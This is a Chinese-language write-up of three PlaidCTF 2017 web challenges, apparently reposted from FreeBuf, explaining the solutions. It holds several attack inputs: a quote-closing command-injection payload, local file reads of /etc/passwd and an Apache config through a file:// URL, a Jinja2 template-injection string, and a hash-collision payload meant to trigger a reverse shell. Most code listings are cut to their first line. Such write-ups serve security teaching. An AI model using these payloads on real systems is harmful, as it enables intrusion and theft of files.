原文我首发在freebuff上
http://www.freebuf.com/articles/web/133336.html
稍微整理下pctf2017的web writeup,各种假web题,有心的人一定能感受到这些年国外的ctf对于web题目的态度
只可惜有道很有趣的游戏题完全无从下手,也找不到相关的wp,很可惜
echo
上来时flask的代码审计
1 | from flask import render_template, flash, redirect, request, send_from_directory, url_for |
通读整个代码,最开始可能都会把目光放到ffmpeg上来,事实上,整个站的功能几乎都是围绕音频的,这里也不存在以前的那个cve,而ffmpeg的作用后面再提
这里的关键信息是
1 | docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py" |
这里的docker其实是可以下载到的,pull下来,看看run.py
1 | import sys |
主要问题在于这里,我们可以通过闭合引号,来执行任意命令。
我们重新看看题目的流程
我们输入字符串->tweets->闭合字符串执行命令->返回判断大小->判断通过经过ffmpeg转化->获取返回音频。
也就是说,我们首先无法获得flag文件的内容,因为太长了,其次我们不能直接获取返回,因为ffmpeg会转化内容为wav,如果输入不是wav,那么就会失败。
最后,我们想了办法通过写入python代码,解flag为正确flag,然后通过espeak获取返回音频。
1 | ";printf "f=open('/share/flag')\ns=''\nwhile 1:\t\n\tc=0 \n\tfor j in range(65000):\n">/share/b.py;" |
1 | PCTF{L15st3n_T0__reee_reeeeee_reee_la} |
Pykemon
仍然是flask的代码审计
1 | from random import randint |
flag是和其他的宠物小精灵在一个列表里,但是本身调用不到。
1 | from flask import Flask, request, session, render_template, render_template_string |
代码中有个关键的地方
python的格式化字符串漏洞,漏洞就不多说了
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
SHA-4
分享一份国外的wp
https://pequalsnp-team.github.io/writeups/SHA4
1 | Web - 300 Points |
首先我们能发现最下面有个请求url的功能,存在本地文件包含漏洞,可以读取本地的任何。
1 | url=file:///etc/passwd |
关于linux信息泄露的问题我就不多聊了
稍微试试发现可以读到apache的配置
1 | url=file:///etc/apache2/sites-enabled/000-default.conf |
找到了web目录/var/www/sha4/
读到server.py和sha4.py
1 | sha4.py |
1 | server.py |
核心代码是下面这部分
1 | try: |
上面的代码主要做了下面几步
- 对post进来的数据解hex
- 对输入做sha4计算
- 把输出作为文件名输入到
/bar/tmp/comments/<hash>.file
- 解输入,将结果写入文件
- 判断有没有不安全的字符
- 判断通过加载模板
纵观上面的流程,如果我们先把一个python的反弹shell写入comments下的某个文件内,然后利用模板注入注入
1 | {{ config.from_pyfile('/var/tmp/comments/<hash>.file') }} |
就可以执行任意命令,但这就意味着会包含符
号,无法通过unsafe函数。
上面的具体可以看这篇文章
https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
从代码里很容易发现一个问题,为什么out_text变量中本来就有内容了,在判断之后,还要从文件中读取呢,这一定是为了漏洞可解而故意的。
但如果我们可以在判断is_unsafe成功后,通过竞争写入新的内容,就可以成功的构造模板注入了。
那么如果想要条件成立,我们需要有两个输入不相同,但是hash相同的输入。
我们关注下hash函数
1 | def hash(x): |
这里upad会把7个8bit bytes转化为8个7bit byte。
而DES本身的加密方式并不适用所有64位,它忽略每个字节的lsb,这就意味我们可以通过一些方式来找到2个相同hash的payload
只需要碰撞出我们需要的3个被禁止的符号就够了
1 | {}/ |
payload
1 | def char_position_collision(char): |
贴上完整的计算payload
1 | from sha4 import hash |
我们找到了2个payload,
1 | 0459617b7b636f6e6669672e66726f6d5f707966696c652820222e2e2f2e2e2f746d702f636f6d6d656e74732f64643331623464633435346336656337653031343736653032663865656163342e66696c652229207d7d61616161 |
剩下的就是循环请求,等待shell反弹了